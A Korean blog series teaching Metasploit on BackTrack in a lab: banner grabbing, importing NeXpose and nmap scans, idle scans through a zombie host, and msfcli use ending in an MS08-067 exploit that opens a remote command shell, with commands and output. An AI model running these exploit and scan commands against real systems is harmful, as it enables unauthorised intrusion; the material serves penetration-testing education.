보안vs해킹2012. 1. 5. 06:12



여기서는 NeXpose, Nessus, OpenVAS 그리고 직접 스캔을 통한 취약점을 찾아서 해당툴을 Metasploit에서 이용하는 법을 알아보겠다.

Banner Grabbing

상대방에게 노출되지 않고 간단하게 취약점을 간단히 찾는 방법이 있다.

root@bt:/opt/framework3/msf3# nc 192.168.1.203 80
GET HTTP 1/1
HTTP/1.1 400 Bad Request
Server: Microsoft-IIS/5.1

위의 결과물에서 웹서버를 Microsoft-IIS/5.1을 사용함을 알 수 있다. 현재 버전 7이 사용되므로 많은 취약점을 찾을 수 있을 것이다.

이보다 좀 더 전문적이고 네트워크의 스캔이 가능한 방법이 있는데 가장 많이 사용되는 툴로는 NeXpose와 Nessus가 있겠다. 두 프로그램 모두 무료 버전이 있고 개인용으로는 사용가능하지만 기업용은 정품을 구매해야 한다. 

NeXpose

<a href="http://www.rapid7.com/vulnerability-scanner.jsp" target="_blank"> http://www.rapid7.com/vulnerability-scanner.jsp</a>에서 다운가능하고 설치에 어려움은 없으리라 본다.

NeXpose의 기본포트는 3780이고 https://localhost:3789 로 접근하면 된다. 그런 후 New Site를 생성후 원하는 네트워크대를 192.168.1.0/24와 같은 형식으로 해서 스캔해주면 된다. 여기서 NeXpose를 다룰수는 없으므로 자세한 사항은 해당 웹사이트에서 정보를 얻기를 바래요.

스캔된 결과물을 xml로 변환해서 저장해주길 바란다.

자 이제 다시 Metasploit 콘솔로 가보자. 콘솔에서 아래와 같이 데이터 베이스에 연결을 해보자.


msf > db_connect postgres:toor@127.0.0.1/msf3
msf > db_import /tmp/host_195.xml
[*] Importing 'NeXpose Simple XML' data
[*] Importing host 192.168.1.195
[*] Successfully imported /tmp/host_195.xml
msf > db_hosts -c address,svcs,vulns
Hosts
=====
address Svcs Vulns Workspace
------- ---- ----- ---------
192.168.1.195 8 268
Posted by 구텐모르겐
보안vs해킹2011. 11. 23. 06:57

Metasploit를 이용한 스캔

앞에서 여러번 언급했던 nmap을 이용한 방법이 가장 보편적인 능동적 정보수집의 방법이라 할 수 있다. 하지만 여기서는 metasploit를 이용한 좀 더 공격적인 스캔법에 대해 알아 보겠다.

우선 데이타베이스를 사용해야 하는데 여기서는 postgresql을 이용하겠다. 아래와 같이 postgresql을 실행해보겠다.

root@bt~# /etc/init.d/postgresql-8.3 start

실행후 metasploit의 Framework을 데이타베이스에 연결한다. metasploit가 설치될때 postgresql이 postgres/toor의 계정으로 설치되어 있다.

msf > db_connect postgres:toor@127.0.0.1/msfbook

postgres를 아이디로, toor를 패스워드로, 그리고 msfbook를 데이타베이스로 하여 연결하였다. 현재의 연결을 확인하려면 db_status를 타입해보면 알 수 있다.

Nmap의 데이타를 Metasploit로 입력

nmap이나 기타 다른 스캐닝툴을 이용한 결과물들을 metasploit를 통해 입력가능한데 nmap에서는 -oX라는 명령어로 결과값을 xml로 출력 가능하다.

nmap -Pn -sS -A -oX Subnet1 192.168.1.0/24

이렇게 출력된 값을 이용해서 metasploit로 입력해보겠다.

msf > db_connect postgres:toor@127.0.0.1/msf3
msf > db_import Subnet1.xml
msf > db_hosts -c address
Hosts
=====
address
-------
192.168.1.1
192.168.1.10
192.168.1.101
192.168.1.102
192.168.1.109
192.168.1.116
192.168.1.142
192.168.1.152
192.168.1.154
192.168.1.171
192.168.1.155
192.168.1.174
192.168.1.180
192.168.1.181
192.168.1.2
192.168.1.99
msf >

Nmap을 이용한 다양한 스캔방법: TCP Idle Scan

TCP Idle scan은 비활성화된 타겟 호스트의 IPID를 알아내는 방법으로 연속되는 통신에서 다음의 IPID값을 알아냄으로 차후에 추가적인 활동을 가능하게 해준다.



msf > use auxiliary/scanner/ip/ipidseq
msf auxiliary(ipidseq) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
GWHOST no The gateway IP address
INTERFACE no The name of the interface
LHOST no The local IP address
1. RHOSTS yes The target address range or CIDR identifier
RPORT 80 yes The target port
SNAPLEN 65535 yes The number of bytes to capture
2. THREADS 1 yes The number of concurrent threads
TIMEOUT 500 yes The reply read timeout in milliseconds

위의 나열된 스캐너들은 ipid값을 알아내는 옵션들이다. 1번의 RHOSTS는 CIDR의 스캔등 타겟호스트의 네트워크의 범위를 정해줄때 사용되는 옵션이고 2에서의 THREADS값은 수치를 높일수록 PCU점유율이 높아진다. 디폴트는 1이고 여기서는 50을 줘 보겠다.

msf auxiliary(ipidseq) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf auxiliary(ipidseq) > set THREADS 50
THREADS => 50
msf auxiliary(ipidseq) > run
[*] 192.168.1.1's IPID sequence class: All zeros
[*] 192.168.1.10's IPID sequence class: Incremental!
[*] Scanned 030 of 256 hosts (011% complete)
[*] 192.168.1.116's IPID sequence class: All zeros
1. [*] 192.168.1.109's IPID sequence class: Incremental!
[*] Scanned 128 of 256 hosts (050% complete)
[*] 192.168.1.154's IPID sequence class: Incremental!
[*] 192.168.1.155's IPID sequence class: Incremental!
[*] Scanned 155 of 256 hosts (060% complete)
[*] 192.168.1.180's IPID sequence class: All zeros
[*] 192.168.1.181's IPID sequence class: Incremental!
[*] 192.168.1.185's IPID sequence class: All zeros
[*] 192.168.1.184's IPID sequence class: Randomized
[*] Scanned 232 of 256 hosts (090% complete)
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ipidseq) >

Incremental을 보이는 호스트는 우리가 보낸 스캔값에 1을 추가한 값을 응답으로 보내온 호스트들이다. 다음에는 1번의 192.168.1.109를 통해 192.168.1.155를 좀 더 자세히 스캔해보겠다.

msf auxiliary(ipidseq) > nmap -PN -sI 192.168.1.109 192.168.1.155
[*] exec: nmap -PN -sI 192.168.1.109 192.168.1.155
Idle scan using zombie 192.168.1.109 (192.168.1.109:80); Class: Incremental
Interesting ports on 192.168.1.155:
Not shown: 996 closed|filtered ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 00:0C:29:E4:59:7C (VMware)
Nmap done: 1 IP address (1 host up) scanned in 7.12 seconds
msf auxiliary(ipidseq) >

다음과 같이 능동적 정보 수집이지만 192.168.1.109라는 좀비피씨를 이용해서 타겟 호스트를 스캔하여 보았다.

내일은 이 192.168.1.109를 좀더 후벼보도록 하겠다.

Posted by 구텐모르겐
보안vs해킹2011. 11. 16. 03:48

MSFconsole: Metasploit Framework에서 가장 핵심이 되는 부분으로써 가장 안정적이고 많은 기능을 제공하는 툴중에 하나이다. msfconsoleMetasploit Framework에서 제공할 수 있는 모든 옵션을 구현가능하고 이 툴 하나만으로 exploit을 실행하거나, auxiliary modules을 실행하거나 하는 등의 모든 기능을 수행해 낼수 있다. 기본적으로 Metasploit Framework은 계속적으로 업데이트되면서 발전해나가는 툴이지만 msfconsole은 항상 변하지 않는 중요한 역할을 한다. 기본적인 msfconsole의 기능을 익힘으로써 다른 업데이트의 기능을 손쉽게 적용시킬수 있다. 아마도 이 msfconsole에 대한 이야기는 계속 하게 될듯하다.

MSFconsole의 실행: 컴멘드에서 (물론 백트랙5에서) msfconsole을 친다.

root@bt:/# cd /opt/framework3/msf3/
root@bt:/opt/framework/msf3# msfconsole
< metasploit >
------------
  \ ,__,
  \ (oo)____
      (__) )\
      ||--|| *
msf >

help명령어를 통해 기본적인 명령어들을 익힐 수 있다.

MSFcli: msfclimsfconsole는 Framework에 접속하는데 서로 다른 방법을 사용한다. msfconsole은 사용자적인 측면에서 모든 기능에 대한 접근이 가능하다면 msfcli는 다른 콘솔툴과의 스크립팅하는데 중심이 되어 있다. Framework에 값을 전달해주는 것이 아니라 컴멘드를 통해 다른 콘솔들과의 직접적인 연결을 가능하게 해준다. 또한 exploit와 auxiliary modules의 실행을 지원하고 또한 modules을 테스트할때에도 유용하게 사용된다. 만약 여러분이 정확히 어떠한 툴과 어떠한 기능을 사용할지에 대해 알고 있다면 msfclimsfconsole보다 확실히 여러분의 작업을 수행하는데 도움을 줄 것이다.

root@bt:/opt/framework3/msf3# msfcli -h
Usage: /opt/framework3/msf3/msfcli <exploit_name> <option=value> [mode]
==============================================================================
Mode Description
---- ---------------
(H)elp You're looking at it, baby!
(S)ummary Show information about this module
(O)ptions Show available options for this module
(A)dvanced Show available advanced options for this module
(I)DS Evasion Show available ids evasion options for this module
(P)ayloads Show available payloads for this module
(T)argets Show available targets for this exploit module
(AC)tions Show available actions for this auxiliary module
(C)heck Run the check routine of the selected module
(E)xecute Execute the selected module
root@bt:/opt/framework3/msf3#


MSFcli 예제: 이제 msfcli의 사용법에 대해 간단히 알아보겠다. 여러분이 Metasploit을 사용중에 어려움에 부딧힐때 옵션 O를 통해 많은 도움을 받을 수 있다. 예를 들어 아래와 같이 ms08_067_netapi를 사용할때 옵션 O를 붙이면,

root@bt:/# msfcli windows/smb/ms08_067_netapi O
[*] Please wait while we load the module tree...
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 0.0.0.0 yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)


ms_08_067_netapi가 RHOST, RPORT, SMBPIPE의 세가지 옵션을 필요로 함을 알 수 있다. 또한 옵션 p를 사용함으로 사용가능한 payload를 알 수 있다.

root@bt:/# msfcli windows/smb/ms08_067_netapi RHOST=192.168.1.155 P
[*] Please wait while we load the module tree...
Metasploit Basics 11
Compatible payloads
===================
Name Description
---- -----------
generic/debug_trap Generate a debug trap in the target process
generic/shell_bind_tcp Listen for a connection and spawn a command shell





필요한 옵션과 payload를 설정해 준 후 우리는 옵션 E를 통해서 msfcli를 실행할 수 있다.

root@bt:/# msfcli windows/smb/ms08_067_netapi RHOST=192.168.1.155 PAYLOAD=windows/shell/bind_tcp E
[*] Please wait while we load the module tree...
[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (NX)
[*] Triggering the vulnerability...
[*] Sending stage (240 bytes)
[*] Command shell session 1 opened (192.168.1.101:46025 -> 192.168.1.155:4444)
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>


아래 윈도우 화면은 타겟 호스트이므로 이 exploit이 성공했음을 알 수 있다.

Armitage: armitage는 그래픽버전의 Metasploit라고 보면 된다. 물론 공짜이고 풍부한 기능과 편리성을 가지고 있다. 하지만 비록 armitage가 강력한 툴임은 사실이지만 컴멘드를 배우지 않고 클릭클릭만 배우다 보면 스크립트키디의 레벨을 벗어날 수 없으므로 armitage에 대한 설명은 하지 않고 넘어가겠다. 개인적으로도 nmap보다 zenmap사용후에 좀 더 기능을 효과적으로 사용하는데 한계를 느꼈다.

Armitage의 사용: armitage를 타이핑해주면 armitage가 실행된다. (물론 백트랙5에서 말이다.) armitage실행후 Attacks-Browser Attacks-windows 를 통해서 다양한 기능을 사용할 수 있음을 알 수 있다.

Posted by 구텐모르겐